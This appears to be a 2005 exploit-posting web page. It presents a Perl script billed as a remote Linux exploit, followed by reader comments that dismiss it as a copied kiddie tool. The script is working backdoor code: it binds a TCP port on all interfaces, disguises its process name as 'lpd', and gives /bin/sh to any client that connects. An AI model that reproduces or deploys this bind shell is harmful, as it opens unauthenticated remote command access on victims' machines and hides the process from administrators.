|
|
| |
| The following exploit opens an arbitrary port and binds it to bash with arbitrary permissions, allowing attackers to gain access to remote Linux machine. |
| |
Credit:
The information has been provided by Mr.YaHoO.
|
| |
Exploit:
#!/usr/bin/perl
#Y! Underground Group
#code by:Y4Ho
#We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
#Email:info@emperorteam.com
#Email:y4ho0_emperor@yahoo.com
#Homepage:www.emperorteam.com
#tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
#Ex: ./Y!.pl
use Socket;
$port = 666;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = '/bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
#EoF
|
| Subject:
|
Exploit |
Date: |
8 Dec. 2005 |
| From: |
Anonymous |
| WTF is that? A simple script to open some door? Why call this Remote Exploit? |
|
| Subject:
|
Script kid urporaattor |
Date: |
9 Dec. 2005 |
| From: |
Anonymous |
| Author of this "exploit" is ?rpo! |
|
| Subject:
|
|
Date: |
10 Dec. 2005 |
| From: |
Anonymous |
Exploit?
Its just a tool... |
|
| Subject:
|
Remote Linux Exploit Okay... |
Date: |
11 Dec. 2005 |
| From: |
Anonymous |
Wouldn't this work with any *NIX running Perl?
What a horrible title. This isn't an exploit, it's simply a kiddie script. |
|
| Subject:
|
so what |
Date: |
12 Dec. 2005 |
| From: |
H8 kiddies |
| That's a cut and paste from headflux's (synnergy) perl backdoor (1998) :P |
|
| Subject:
|
Just look and kill that kiddies! |
Date: |
12 Dec. 2005 |
| From: |
Anonymous |
| http://packetstorm.linuxsecurity.com/groups/synnergy/bindshell-unix |
|
| Subject:
|
thats a tool not an exploit |
Date: |
17 Dec. 2005 |
| From: |
Anonymous |
| a tool copied from synnergy so its not an exploit , its a stolen tool :S |
|
|
|
|
